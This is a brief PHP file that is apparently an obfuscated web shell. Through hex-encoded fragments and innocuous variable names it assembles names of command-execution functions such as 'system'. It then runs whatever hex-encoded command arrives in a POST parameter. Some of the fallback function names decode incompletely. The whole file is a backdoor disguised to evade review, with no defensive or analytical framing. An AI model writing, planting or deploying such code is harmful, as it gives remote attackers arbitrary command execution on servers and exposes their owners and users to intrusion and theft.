<?php

$placeholder1 = '56d';
$placeholder2 = 'c5f';
$placeholder3 = '657';
$placeholder4 = '865';
$placeholder5 = '6c6';
$placeholder6 = '737';
$placeholder7 = '468';
$placeholder8 = '727';
$placeholder9 = '573';
$class1 = pack("H*", '737' . '973' . '746' . $placeholder1);
$class2 = pack("H*", '736' . '865' . '6c6' . $placeholder2 . $placeholder3 . '865');
$class3 = pack("H*", '736' . $placeholder4 . $placeholder5);
$class4 = pack("H*", '706' . '173' . $placeholder6 . $placeholder7 . $placeholder8);
$reset = pack("H*", '726' . $placeholder9 . $placeholder3);
if (isset($_POST[$reset])) {
    $reset = pack("H*", $_POST[$reset]);
    if (function_exists($class1)) {
        $class1($reset);
    } elseif (function_exists($class2)) {
        $class2($reset);
    } elseif (function_exists($class3)) {
        $class3($reset);
    } elseif (function_exists($class4)) {
        $class4($reset);
    }
    exit;
}